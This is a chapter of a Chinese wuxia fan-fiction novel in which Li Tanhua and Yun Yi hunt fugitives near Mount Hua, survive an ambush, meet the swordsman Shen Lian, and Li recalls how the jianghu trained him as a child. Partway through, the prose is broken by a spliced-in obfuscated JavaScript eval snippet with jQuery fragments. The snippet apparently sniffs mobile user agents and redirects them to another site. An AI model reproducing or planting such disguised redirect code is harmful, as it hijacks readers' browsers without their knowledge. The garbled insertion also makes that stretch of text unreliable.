31.世间一切有为法
作品:《[综武侠]出关》 第三十一章一切有为法
几人在山脚下转悠了大半天,云翼终于忍不住了。
“为什么是华山?”
这一带是悠然农家景象,几个挑着担子的农人路过,看见一行里几个人打扮得怪模怪样地来回走,倒也不以为意,只以为是来寻墓地的吧。五岳之一,大名鼎鼎的华山,也不过是秦岭的一部分,抬眼望去,亘古以来,森森的古意。
查猛和诸葛雷,听说了这桩公案,竟也弃了生意不做,专门来陪着他们。因为江湖人对于行侠仗义的事情,总还是热心的。此时,诸葛雷说:
“咸阳城里,我长——金狮镖局的招牌在这儿,连一个苍蝇也不能叫它走漏,何况是白莲教徒?也就是山里,还能算个藏身的地方。”
“白莲教徒都是一些贫苦的小民,混在进城的人里,怕也难调查得出吧?”
虞孝廉说:
“非也,胡大人,试想,那大和尚是要寻地方宣法的,这就必得要一个极大的地方来聚集。再说了,既然都是贫民,总不无法体体面面地找客栈睡下吧?若是在街上睡得东一片西一片,那又引人注目了。”
“可是,”李探花也说,“华山派怎能容这些人上来?”
他沉思了一会儿,道:
“诸位不如在此饮茶消磨,稍候片刻,我就去访一访华山派的掌门女侠。”
说着纵起轻功,竟然这就要上山,虞二连忙紧赶两步把他拉住,道:
“女将军,你这样空着手去,怕华山派也要嫌你不为礼吧?还是不要去了。那帮女道士,难相与得很呦。”
李探花笑道:
“我不怕,连我的人都险些做了华山派的弟子啦。”
云翼奇道:
“方才虞先生说,连我听在耳里,也学了几件江湖掌故,听说华山派历来只收女弟子,怎么你就要去?”
余下三人听了难免面面相觑,因为大家都是真心诚意地认为眼前的是一位“林女侠”,不曾想云翼有此一说。可是耳目声色,实在叫人看不破,就是把他仔仔细细地打量上半天,也还是看不破,这分明是一位美丽的女青年,高兴的时候,笑得眼睛弯弯的。李探花笑说:
“色不异空,空不异色。而今你我这色身也只像打水的竹篮儿,有什么妨碍?”
云翼听了大惊,想到那日在香积寺的山门下,那醉酒的少年,曾往他额头上敲了一记:着不着,错认笊篱当木勺。李探花见了他这样,笑个不住,“坏了,坏了,这却是要悟了,我实在对不起你家的姐姐。”
虞孝廉终于把他拉到一旁茶棚里,一行人坐下,谈起眼前的这座山。
华真真是“辣手仙子”华琼凤的后人,一代名侠,江湖传说,她和楚留香还有一段缘分,就连楚留香也要真心诚意地把她当作华山派的掌门而不是一个漂亮的女孩子来敬佩。如今她怎么肯毁却华山派的百年基业,去包庇用妖术惑众,逃亡至此的赵全呢?查猛说:
“这也是你们京师来的人不晓得,西安府是出乱子的地方,年年和蒙古人厮杀,这也不说了,就是这十万大山,是藏污纳垢的地方。因为人又多,又穷,谁来显示一番奇迹,都是一窝蜂地跟了去。就是华山派,难道是什么清净的地方?那帮女道士,又不曾剃了头发做尼姑。自己标榜行侠仗义,其实山脚下连绵百里都是华山派的地产,打理自己的产业,这又有什么可说的。”
诸葛雷道:
“很是!昔年就在这山脚下,且出过一位‘无忧娘娘’,百姓还要给她立一座生祠!现在香火倒稀了。那无忧娘娘,久不见出来走动,怕不也死在哪条沟坎里了吧?江湖人,这是免不了的。凭你是大和尚、弥勒转世,还是仙女、娘娘,一辈子也就落个这番下场。”
虞孝廉举起茶杯,笑道:
“嗨!人生天地之间,生不带来,死不带去,这倒也算一场结局。”
几人以茶代酒,干了一杯,虞孝廉暗中向查猛使个眼色,查猛心领神会,道:
“我看,在这儿乱转也是转不出什么来的了!倒不如打道回府吧。胡大人,林女侠,你二人是有官身的,不是查某人敢怠慢,可是这样的事情,急也急不来。倘若二位信得过我,不如就在这里安心住下,慢慢地打探,事情也可更妥帖些。”
李探花不知在想什么,低着头,摩挲着手里粗陶的茶碗,慢慢地摇了摇头。虞孝廉抿了一下嘴巴,也不知他是觉得这位女侠性子太犟,还是已感到在这儿是浪费时间。又或者是为计划顺利而高兴。
也就在这个时候,打远处城里的方向,忽地飞来一骑,到了几人面前,滚鞍下马,在查猛面前道:
“总镖头!老、老、老师傅……”
上气不接下气地讲不出话来,查猛大惊,连忙将此人扶起。长风镖局的总镖头张老先生,就是查猛的师父,因为受了这连番的刺激,发了疯,今日一个看管不住,竟然叫他走出屋子,见到院中有一口水井,井水中映照出另一个天地。他就探身朝里面看,并且大叫:
“喂!掌柜的!染香!你两个怎么在这里?叫我好找!”
等看顾他的人听到动静看过来时,他却一咕嘟就栽进井里去了。老人家年纪大了,况且如今头脑昏聩,武功尽失,这一下不知能不能过得去。查猛大惊失色,连忙滚鞍上马,只在马上冲几人拱了拱手,就急加鞭去了。诸葛雷紧紧地也追在后头。
虞孝廉叹道:
“这道坎儿恐怕也难过了。”
李探花道:
“先生,请你也同去帮衬着吧。”
虞孝廉诧异地瞧了他一眼。“这是怎说?我同他家非亲非故的。”
李探花笑道:
“虽然,江湖人总要彼此帮衬的。先生深通医道,再者说,你瞧查总镖头,可是个能知礼的人么?他知道的是江湖上的礼节,草席一卷,这样去对待老太爷,恐怕不敬,先生是个孝廉,若有个三长两短,丧葬之事还须先生指点。”
虞孝廉笑道:
“原来女将军是怕他这样刀头舔血的人家,闹出什么笑话。既然如此,我便遵命。”
说着也去了。
云翼和李探花两人慢慢地看着虞孝廉的身影消失在黄昏之中。云翼问:
“你把他三个都打发走了,却是为何?”
李探花说:
“这倒奇了!怎么是我打发走的?明明你也听见了,是他家里有事。”
“而你明明也看见了,这查猛和虞先生,方才是如何眉目传情,怕是早安排好了,在这里赚我们。至于那报信的人,自然也只是找了个借口罢了。”
李探花淡淡地笑着说:
“云翼,你也知道,这查猛看来是个细心的人。”
“细心怎的?”云翼忿忿地反问一句,而后愣住了。
“何况,一个当家的男子,自然不会愿意再让疯疯癫癫的老太爷在家里胡搅的,这岂非是个天赐良机吗?”
李探花低下头不说话了。
云翼瞠目结舌,喃喃地说:
“虽则我二人只是他动手的借口……可毕竟是我二人做了这个借口。”
李探花原本心情怏怏不乐,见他这样,还是忍不住笑了:
“好啦!逗你玩的,天下哪有这样虎狼之徒?”
说着站起来,从袖里抓了一把银子出来,随手放在桌面上。原本几个人几杯茶,也要不了十枚铜板,他却不知丢了几两银子在这里。原来他见到那支茶棚的妇人破衣烂衫,生活清苦,便有意帮衬。却又用个茶盏儿,故意将银子盖住,不让妇人看见了称谢。等她出来收拾,见着了银子时,这两人早已走远了。
夕阳渐渐地沉下去了,李探花和云翼两人,各自牵着马,沿着华山山脚,慢慢地走。云翼不知道他为什么要在华山脚下徘徊,若说上山去拜见华真真,倒也算是个事儿,“如今你难道还指望见着那劳什子妖怪娘娘?听说,那娘娘一似三头六臂,青面獠牙。怕你不得被她吓得做噩梦了。”
李探花微微一笑。
“云翼。你不知道。天底下最盼着见到那位无忧娘娘的,就是我。”
他向云翼说到,昔年他母亲死了,母亲是华山派的弟子,常常在华山脚下走动,行侠仗义,百姓以为神仙下降,称她做“无忧娘娘”。后来还俗嫁人,临死之前,昔日的同门姊妹们,还一双双地下来看她。
那其中就有华真真,当时已人到中年,很少再过问江湖事。但为了她最心爱的一个弟子,竟然也下了山,来到保定地界,高高的院墙里。她原指望这个弟子自由自在,抛却人生的一切烦扰,度过豪杰的潇洒一生,可是如今她们在这里,深深的一重一重屋檐底下,病榻边。两人说了几句话,华真真又坐了一会,出来,李尚书带着儿子来拜见她,孝元该喊她祖母,华真真沉默片刻,伸手轻轻搭在孩子的发顶上。
“这孩子叫我带了去罢,免得日后伤心。你该叫我师祖。我还赐你个道号。”
孝元抬起头来瞧她,拉着她的衣袖。
“祖母。”他说。
如今,两人脚下的这条窄窄的土路,路旁边的山峦,还有山脚下的田地、地头的墓碑,散落的破旧房屋……无不是昔年的侠女刘无忧旧游之地。而昔仍如今,今者,又将一似一切往来。
云翼体贴他的烦忧。就算他此刻心思没在破案上,只是单纯地为了在母亲走过的路上再走一走,他就陪他走上一段,又如何呢?于是长久以来,一言不发。忽然,李探花笑了笑道:
“云翼,你上马去。”
云翼说什——还没等他把话说完,一支利箭迎面飞来。继而是密密麻麻的箭雨,李探花抽刀尽给挡开,护着云翼骑上了雪骨骏马,那马极通人性,并不用他再加一鞭,就带着云翼向前飞奔。李探花反而是以退为进,他要揪住暗杀的人,于是一径里地迎着箭雨向前闯。可是就在他将欲放开手脚大干一场的时刻,却听到眼前一阵马嘶,雪骨又奔了回来。李探花见了,道:
“你怎么啦?”
马儿甚是不安,口中呵气。云翼在马背上向他说:
“前面有绊马索。好险!”
李探花说:
“既如此,再莫离开我三丈之外。我替你开道去。”
于是冲杀益加奋勇,连另一把刀也给拔了出来。原来他因为当日虞孝廉替他疗伤之时,洒了毒血在其中一把刀上,那刀已是有毒的,非得俟回京之日,央皇上将刀再送回御器厂重新淬炼一番,不能解此毒。因为这毒见血封喉,他本不欲使用,如今却也顾不得这么多了。原先也指望拿住了一两个首犯来审问,现在就算大杀一番,总以护着云翼生还为要。但他臂上的伤又还没好,虽然自己说只是皮肉之伤,拼着挨些痛楚,举动仍可如常,但是血又渐渐浸透了衣裳,使袖子沉甸甸的被染成了深色。云翼在马背上,心中亦是焦灼万分,忽然眼前一亮;骑在马上,视野毕竟开阔些,便见到远处粼粼有微光,知道那是田里灌溉的水渠。本朝极重农事,以为本分,官员的重要职责便是劝课农桑,而他在当官之前,在家种了多年的地,这种水渠是很熟悉的,知道想必不深,而且难以设置绊马索,可让雪骨骏马趟水而过。当下拨转马头,要奔过去。
李探花虽然不明白他的意思,他长到这么大,不知可认得苗和草否?更别说下地耕田了,怕连锄头都没亲眼见着过一回。但是因为信赖着云翼,所以并不多话,只是跟着。但就这么几步路,于两人而言却好似天堑一般。三四个好手,已令李探花应接不暇。
在这杀阵之外,黄昏之中,却是一番悠闲的农家景象,路边有一家小小的铁匠铺,一个穿麻布直裰的青年,正和铁匠两人一起站在木板搭成的铺子前面说话,那青年从包袱里摸出一点碎银子,和铁匠嘟嘟囔囔地讨价还价,他的身材十分高大,长眉入鬓,英俊极了,但是此刻却用他一只极为宽大的手掌,一点一点地拨着那些碎银子数,看了真叫人心里发急。铁匠也不高兴,说:
“我看你是一位老爷,怎么这般婆妈!”
那青年皱眉道:
“你看我是一位老爷,就来坑蒙拐骗,宰我的银子是真!我不过叫你磨一磨剑,哪里用得着三钱银子!”
那铁匠还要辩解,然而此刻,远处一阵马蹄和刀兵之声,搅乱了此地的交谈。那青年抬头一看,心下了然,知道是江湖仇杀之事。一个中年男子,骑在一匹千里良驹上,神色慌张。而在他的步下,随着个美丽的女子,宽大的袖子束在臂上,一左一右提着的竟然是两把绣春刀。这东西,旁人不认得,只当是精工细作如玩具的漂亮玩意儿,他却怎不认得?当下也不和铁匠废话,将银子往他手里一塞,就大步走到铺子里,提起还在炉火中淬炼的长剑,飞身落入了战阵,那长剑,带着银亮的弧光,而随着剑气从炉中挑起的点点火星,纷纷扬扬地过了很久很久才落下来,可是剑又是如此之快,而李探花的招式,竟能与这个陌生人相配合,不一会儿就将敌手打得落花流水,逃窜去了。
青年哼了一声,将长剑轻轻一挥,归入鞘中。云翼在马上松了口气,下来拜见。李探花笑道:
“好巧碰上这位恩公,不然我们两个就没有命啦!可是恩公先不要告诉我你的名字,让我来猜一猜。”
他上上下下打量着这个青年,一根手指按在唇上,青年也含笑叫他看。忽然李探花一笑道:
“我知道了,你是阳明先生的高徒,沈炼沈青霞,对不对?我认得你的剑法。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021324|193873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈炼虽然不知他究竟怎么能“认得他的剑法”,却也笑道:
“好眼力,愚兄佩服。”
李探花道:
“而今我也要你来猜一猜我是谁?”
“这我可猜不着。”
沈炼见他是少年的风流,这样美貌,极高深精微,认不出来路的武功,又有官面上的牵扯,道:“不是洛阳的王怜花,就是京城的小李探花。往下我可再猜不着了。”
“到底是哪朵花呢?王怜花?还是李探花?沈大哥,你还要再猜。”
两人都是当世的名侠,此番相见,无限地欢喜。沈炼却是因为回乡守制,料理完父亲的丧事之后,实在对于茌平的案子放心不下,于是竟一路寻到了咸阳来,要访一访那长风镖局,但今天一去,扑了个空,人家说查猛和诸葛雷都一早出门去了。他游游逛逛,不想在这里和李探花遇见。李探花便告诉他今天张老太爷掉井里的事情。
因他有伤,云翼就下来把马给他骑,他又不愿意,因为要和沈炼说话,自己骑在马上,不礼貌,也不方便,结果三人谁也不肯骑马,竟慢慢地走了回去。说得高兴,不想到了那个茶棚附近,那个妇人竟期期艾艾地站在棚子前面等他,见这三人走来,扑到前面来磕头,又把小女儿唤来叫谢恩公。李探花见小姑娘可爱,就将头巾解开,拔下一枚细丝凤纹金镶玉满冠来赠她。妇人也找出一把出嫁时的桐木雕花插梳来回赠,他也满心欢喜地戴了。等这一番推却过了,几人又走上道路,沈炼笑望着他:
“我已知道你是谁了。‘一身从宦留京邑,五马遥闻到旧山’,足下小李探花是否?”
李探花奇道:
“咦?怎方才青天白日里认不出,现在太阳下了山,反而认得出?”
沈炼笑道:
“天底下只有两位足下这样的散财菩萨,一者是天长杜少卿,一者是直隶的李探花。那王怜花,还没有这样阔气。”
“是啦,”李探花也笑个不住,“我听说他家里是做生意的,那他的钱都是自己赚的,花起来自然心痛了。”
“自然。小李探花的荣华富贵,却是天定的。要不怎么皇上赐你‘从宦’二字呢?”
李探花骨都着嘴,道:
“沈大哥,却求你不要叫我那个名儿。”
沈炼笑道:
“你发话了,沈大哥只有依了,可是不叫你的名儿,却叫什么呢?”
李探花停下脚步。此刻已是入夜,寂静的群山,来回地荡着树叶交叠的沙沙声。他道:
“昔年,祖母说给我取个道号。她说,一切有为法,如梦幻泡影,如露亦如电,人之生死也是矣。就叫我李陆如吧。”
云翼在旁边听得郁闷。“你呀!”他说。
沈炼又道:
“陆如贤弟,倒有一件事要请教。你如何说‘认得出我的剑法’?”
原来沈炼的剑法是昔年王守仁亲传,至今见过的不多,王门子弟里,能学个一招半式的更是极少。这是非常艰深的剑法,流传得很不广。李探花说,他十岁那年,母亲死了。然后沉默了一会儿,两人也不催促,就这么默默地等待着。后来他抬起头来,接着说下去。
十岁那年,别了母亲。再过两个月是他的生日。他父亲竟然大操大办,请了许许多多的江湖朋友来。这是一件奇怪的事,因为父亲丧妻之后,哀痛非常,却一定要勉强自己起来去亲自操办这场宴会。再说,他们是官宦人家,为什么要请这么多江湖朋友?虽然,正德三年,刘瑾祸乱之中,把他父亲贬成一个兵部主事,至于原来的那位兵部主事,就是王阳明了,则发配到龙场去当驿丞。于是李廷相就继承了王守仁的办公桌,继续查他不得已丢开手去的案子,由是来到此地,结识了华山脚下的女侠刘无忧。而今,他们三个的后人,又在这里相聚了。
因为这层关系,所以李家在江湖上的朋友也很多。李尚书请了这些人来,却提了个荒谬的要求,他在厅上摆了一张屏风,要大家一人教给李探花一招。
大家面面相觑。江湖人的招式就是护身的法门,轻易不能示人的。李尚书这样官宦人家,也不能贪图走江湖的泥腿子的这点技俩。那么他到底是为了什么呢?
众人各怀心思。有人扭头走了,有人教一招无关痛痒的,反正隔着屏风,李尚书也不知道。又有人,感念他昔日经纶江湖事时的恩情,决心认真地想一想。
但就在这一番忙乱之时,大家却发现,少爷不见了。
那天直找到日落西山,才由一位王镖头把少爷找到,提了来厅上。孝元大吵大闹,母亲死去没有两个月,他说他这辈子再也不要过生日了。但见父亲的脸色沉郁非常,吃了一惊。也不敢再说什么。
藏剑山庄的龙老人,送给他一把乌鞘剑,剑名叫做“无名”。
大家依次地进入屏风后面,按照承诺中那样,指点少爷一招。李尚书在外头看着,不知在想什么。那王镖头慢悠悠地走了过来,说:
“老尚书,这样是有可能教出一个天下奇才,但更大的可能是学乱了导致筋骨尽废哦。”
过了半晌,李尚书轻轻地说:
“这样最好。”
王镖头明白了他的意思。如今已没有母亲能够指点他的武学,护着他在江湖上平安行走了,像孝元这样少年的骄气,难免惹祸,何况当今皇上崇道而灭佛,一身少林功夫在身上,庶几就是来日的祸胎。他微微一笑,走到孝元面前,指点了他三个手势。
孝元跌倒在地,伸手揉着额头。王镖头道:
“今后,我就是你师父,明白了吗?”
孝元说:
“我师父是天台的瓢和尚,才不是你。”
王镖头瘪着嘴说:
“拿我和他比……”
孝元又问:
“那么,你是谁?”
王镖头笑道:
“不告诉你。”
“你叫我说师父是你的!”
“是啦,”王镖头笑道,“你师父就是这样一个神秘人啦。”
后来,他知道这个人就是传说中的怜花公子。不过李尚书虽然握有这番情报,却实在难以相信。五大三粗的王镖头,竟然就是传说中的千面公子?其实那年王怜花也才十八岁,刚刚开始在江湖上走动。他是武林中的奇才,除各大门派的法门竟然都叫他学去之外,星相卜筮、易容改扮、医理毒性,无一不精。那场宴会是嘉靖十四年,多少人远道而来,却没有留下名字。于是全江湖一起教出了这位小李探花,是天下武学的集大成者,千古文人侠客梦的活生生的化身。也是那个梦的反面,是对侠客们炼气养身,试图以个人的英雄主义掩盖尘网羁縻官僚主义生老病死忧患不幸的努力的,最绝望的冷嘲。

